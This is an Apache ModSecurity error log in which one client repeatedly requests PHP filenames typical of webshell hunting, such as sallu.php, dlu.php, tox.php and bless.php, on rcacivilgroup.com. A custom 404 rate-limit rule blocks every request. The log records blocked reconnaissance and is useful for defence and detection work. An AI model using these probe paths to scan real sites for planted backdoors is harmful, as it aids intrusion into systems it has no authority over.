[Fri Apr 03 01:28:36.564466 2026] [:error] [pid 25010:tid 25371] [client 4.232.187.184:62487] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/filemanager.php"] [unique_id "ac6nRI_KcjFQF5TuqTWkSgAAABY"]
[Fri Apr 03 01:28:37.153342 2026] [:error] [pid 25010:tid 25359] [client 4.232.187.184:3644] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/filemanager.php"] [unique_id "ac6nRY_KcjFQF5TuqTWkUAAAAAs"]
[Fri Apr 03 01:28:37.631293 2026] [:error] [pid 25010:tid 25364] [client 4.232.187.184:62439] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/voga/sallu.php"] [unique_id "ac6nRY_KcjFQF5TuqTWkVAAAAA8"]
[Fri Apr 03 01:28:38.100528 2026] [:error] [pid 25018:tid 25436] [client 4.232.187.184:62196] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/voga/sallu.php"] [unique_id "ac6nRnupR6lXnAUzFGr10gAAAFc"]
[Fri Apr 03 01:28:38.593085 2026] [:error] [pid 25470:tid 25488] [client 4.232.187.184:62268] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/voga/sallu.php"] [unique_id "ac6nRnhROcck6_9HYygTEQAAANA"]
[Fri Apr 03 01:28:39.076837 2026] [:error] [pid 25470:tid 25473] [client 4.232.187.184:3343] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/voga/sallu.php"] [unique_id "ac6nR3hROcck6_9HYygTGAAAAME"]
[Fri Apr 03 01:28:39.638766 2026] [:error] [pid 25470:tid 25486] [client 4.232.187.184:29052] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dlu.php"] [unique_id "ac6nR3hROcck6_9HYygTHQAAAM4"]
[Fri Apr 03 01:28:40.116486 2026] [:error] [pid 25470:tid 25493] [client 4.232.187.184:29002] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dlu.php"] [unique_id "ac6nSHhROcck6_9HYygTIwAAANU"]
[Fri Apr 03 01:28:40.603056 2026] [:error] [pid 25470:tid 25495] [client 4.232.187.184:31036] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dlu.php"] [unique_id "ac6nSHhROcck6_9HYygTJwAAANc"]
[Fri Apr 03 01:28:41.160887 2026] [:error] [pid 25470:tid 25475] [client 4.232.187.184:3880] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dlu.php"] [unique_id "ac6nSXhROcck6_9HYygTKgAAAMM"]
[Fri Apr 03 01:28:41.648896 2026] [:error] [pid 25470:tid 25495] [client 4.232.187.184:28613] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/555.php"] [unique_id "ac6nSXhROcck6_9HYygTMwAAANc"]
[Fri Apr 03 01:28:42.127402 2026] [:error] [pid 25010:tid 25352] [client 4.232.187.184:3590] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/555.php"] [unique_id "ac6nSo_KcjFQF5TuqTWkXwAAAAQ"]
[Fri Apr 03 01:28:42.600996 2026] [:error] [pid 25035:tid 25452] [client 4.232.187.184:28669] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/555.php"] [unique_id "ac6nShhR292toNOkLqGzNwAAAIo"]
[Fri Apr 03 01:28:43.086390 2026] [:error] [pid 25470:tid 25496] [client 4.232.187.184:30019] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/555.php"] [unique_id "ac6nS3hROcck6_9HYygTPwAAANg"]
[Fri Apr 03 01:28:43.584944 2026] [:error] [pid 25018:tid 25428] [client 4.232.187.184:29050] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mail.php"] [unique_id "ac6nS3upR6lXnAUzFGr13AAAAE8"]
[Fri Apr 03 01:28:44.056068 2026] [:error] [pid 25018:tid 25411] [client 4.232.187.184:30074] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mail.php"] [unique_id "ac6nTHupR6lXnAUzFGr13gAAAEA"]
[Fri Apr 03 01:28:44.531012 2026] [:error] [pid 25470:tid 25472] [client 4.232.187.184:62251] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mail.php"] [unique_id "ac6nTHhROcck6_9HYygTTAAAAMA"]
[Fri Apr 03 01:28:45.035516 2026] [:error] [pid 25470:tid 25493] [client 4.232.187.184:3378] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mail.php"] [unique_id "ac6nTXhROcck6_9HYygTUQAAANU"]
[Fri Apr 03 01:28:45.523195 2026] [:error] [pid 25010:tid 25351] [client 4.232.187.184:3329] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/403.php"] [unique_id "ac6nTY_KcjFQF5TuqTWkaAAAAAM"]
[Fri Apr 03 01:28:46.094342 2026] [:error] [pid 25018:tid 25425] [client 4.232.187.184:3992] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/403.php"] [unique_id "ac6nTnupR6lXnAUzFGr15AAAAEw"]
[Fri Apr 03 01:28:46.579187 2026] [:error] [pid 25018:tid 25414] [client 4.232.187.184:29551] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/403.php"] [unique_id "ac6nTnupR6lXnAUzFGr15gAAAEI"]
[Fri Apr 03 01:28:47.068769 2026] [:error] [pid 25018:tid 25417] [client 4.232.187.184:62809] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/403.php"] [unique_id "ac6nT3upR6lXnAUzFGr16QAAAEQ"]
[Fri Apr 03 01:28:47.560284 2026] [:error] [pid 25035:tid 25456] [client 4.232.187.184:31039] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tox.php"] [unique_id "ac6nTxhR292toNOkLqGzQwAAAI4"]
[Fri Apr 03 01:28:48.048818 2026] [:error] [pid 25470:tid 25494] [client 4.232.187.184:28637] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tox.php"] [unique_id "ac6nUHhROcck6_9HYygTWQAAANY"]
[Fri Apr 03 01:28:48.537746 2026] [:error] [pid 25470:tid 25485] [client 4.232.187.184:62515] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tox.php"] [unique_id "ac6nUHhROcck6_9HYygTWgAAAM0"]
[Fri Apr 03 01:28:49.067816 2026] [:error] [pid 25470:tid 25483] [client 4.232.187.184:62466] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tox.php"] [unique_id "ac6nUXhROcck6_9HYygTXgAAAMs"]
[Fri Apr 03 01:28:49.549683 2026] [:error] [pid 25470:tid 25481] [client 4.232.187.184:51310] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "ac6nUXhROcck6_9HYygTYQAAAMk"]
[Fri Apr 03 01:28:50.049761 2026] [:error] [pid 25035:tid 25466] [client 4.232.187.184:62163] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "ac6nUhhR292toNOkLqGzUQAAAJg"]
[Fri Apr 03 01:28:50.642889 2026] [:error] [pid 25470:tid 25483] [client 4.232.187.184:62463] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "ac6nUnhROcck6_9HYygTbgAAAMs"]
[Fri Apr 03 01:28:51.506438 2026] [:error] [pid 25470:tid 25485] [client 4.232.187.184:51265] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "ac6nU3hROcck6_9HYygTdQAAAM0"]
[Fri Apr 03 01:28:52.082861 2026] [:error] [pid 25018:tid 25434] [client 4.232.187.184:30055] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hook.php"] [unique_id "ac6nVHupR6lXnAUzFGr18gAAAFU"]
[Fri Apr 03 01:28:52.578607 2026] [:error] [pid 25010:tid 25348] [client 4.232.187.184:31037] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hook.php"] [unique_id "ac6nVI_KcjFQF5TuqTWkkAAAAAE"]
[Fri Apr 03 01:28:54.955024 2026] [:error] [pid 25018:tid 25432] [client 4.232.187.184:62822] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hook.php"] [unique_id "ac6nVnupR6lXnAUzFGr2EAAAAFM"]
[Fri Apr 03 01:28:55.503726 2026] [:error] [pid 25010:tid 25367] [client 4.232.187.184:62217] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hook.php"] [unique_id "ac6nV4_KcjFQF5TuqTWklwAAABI"]
[Fri Apr 03 01:28:56.041045 2026] [:error] [pid 25010:tid 25358] [client 4.232.187.184:26572] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/menu.php"] [unique_id "ac6nWI_KcjFQF5TuqTWkmQAAAAo"]
[Fri Apr 03 01:28:56.582421 2026] [:error] [pid 25010:tid 25347] [client 4.232.187.184:30037] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "ac6nWI_KcjFQF5TuqTWknQAAAAA"]
[Fri Apr 03 01:28:57.076641 2026] [:error] [pid 25018:tid 25432] [client 4.232.187.184:62256] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "ac6nWXupR6lXnAUzFGr2JAAAAFM"]
[Fri Apr 03 01:28:57.571384 2026] [:error] [pid 25470:tid 25474] [client 4.232.187.184:30544] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "ac6nWXhROcck6_9HYygTkQAAAMI"]
[Fri Apr 03 01:28:58.063398 2026] [:error] [pid 25010:tid 25354] [client 4.232.187.184:30569] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "ac6nWo_KcjFQF5TuqTWkpAAAAAY"]
[Fri Apr 03 01:28:58.574772 2026] [:error] [pid 25470:tid 25475] [client 4.232.187.184:62403] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v.php"] [unique_id "ac6nWnhROcck6_9HYygTlAAAAMM"]
[Fri Apr 03 01:28:59.067450 2026] [:error] [pid 25010:tid 25357] [client 4.232.187.184:32630] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v.php"] [unique_id "ac6nW4_KcjFQF5TuqTWkqQAAAAk"]
[Fri Apr 03 01:28:59.550786 2026] [:error] [pid 25035:tid 25450] [client 4.232.187.184:62527] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v.php"] [unique_id "ac6nWxhR292toNOkLqGzZAAAAIg"]
[Fri Apr 03 01:29:00.090913 2026] [:error] [pid 25018:tid 25420] [client 4.232.187.184:30020] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v.php"] [unique_id "ac6nXHupR6lXnAUzFGr2LAAAAEc"]
[Fri Apr 03 01:29:00.847070 2026] [:error] [pid 25010:tid 25370] [client 4.232.187.184:31029] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/te.php"] [unique_id "ac6nXI_KcjFQF5TuqTWkrwAAABU"]
[Fri Apr 03 01:29:01.344803 2026] [:error] [pid 25470:tid 25475] [client 4.232.187.184:30983] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/te.php"] [unique_id "ac6nXXhROcck6_9HYygTnQAAAMM"]
[Fri Apr 03 01:29:01.823019 2026] [:error] [pid 25470:tid 25487] [client 4.232.187.184:32617] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/te.php"] [unique_id "ac6nXXhROcck6_9HYygTnwAAAM8"]
[Fri Apr 03 01:29:02.472057 2026] [:error] [pid 25010:tid 25351] [client 4.232.187.184:31008] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/te.php"] [unique_id "ac6nXo_KcjFQF5TuqTWkvgAAAAM"]
[Fri Apr 03 01:29:03.064281 2026] [:error] [pid 25470:tid 25490] [client 4.232.187.184:30047] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "ac6nX3hROcck6_9HYygTpQAAANI"]
[Fri Apr 03 01:29:03.615634 2026] [:error] [pid 25010:tid 25371] [client 4.232.187.184:30536] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "ac6nX4_KcjFQF5TuqTWkxgAAABY"]
[Fri Apr 03 01:29:04.275922 2026] [:error] [pid 25470:tid 25481] [client 4.232.187.184:62248] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "ac6nYHhROcck6_9HYygTrgAAAMk"]
[Fri Apr 03 01:29:04.864804 2026] [:error] [pid 25470:tid 25496] [client 4.232.187.184:51285] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "ac6nYHhROcck6_9HYygTswAAANg"]
[Fri Apr 03 01:29:05.386919 2026] [:error] [pid 25470:tid 25493] [client 4.232.187.184:30541] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "ac6nYXhROcck6_9HYygTtQAAANU"]
[Fri Apr 03 01:29:06.046663 2026] [:error] [pid 25010:tid 25370] [client 4.232.187.184:61614] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "ac6nYo_KcjFQF5TuqTWkzwAAABU"]
[Fri Apr 03 01:29:06.551630 2026] [:error] [pid 25035:tid 25455] [client 4.232.187.184:31009] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "ac6nYhhR292toNOkLqGzdwAAAI0"]
[Fri Apr 03 01:29:07.086973 2026] [:error] [pid 25035:tid 25454] [client 4.232.187.184:29512] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "ac6nYxhR292toNOkLqGzegAAAIw"]
[Fri Apr 03 01:29:07.574526 2026] [:error] [pid 25470:tid 25475] [client 4.232.187.184:62477] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "ac6nY3hROcck6_9HYygTwwAAAMM"]
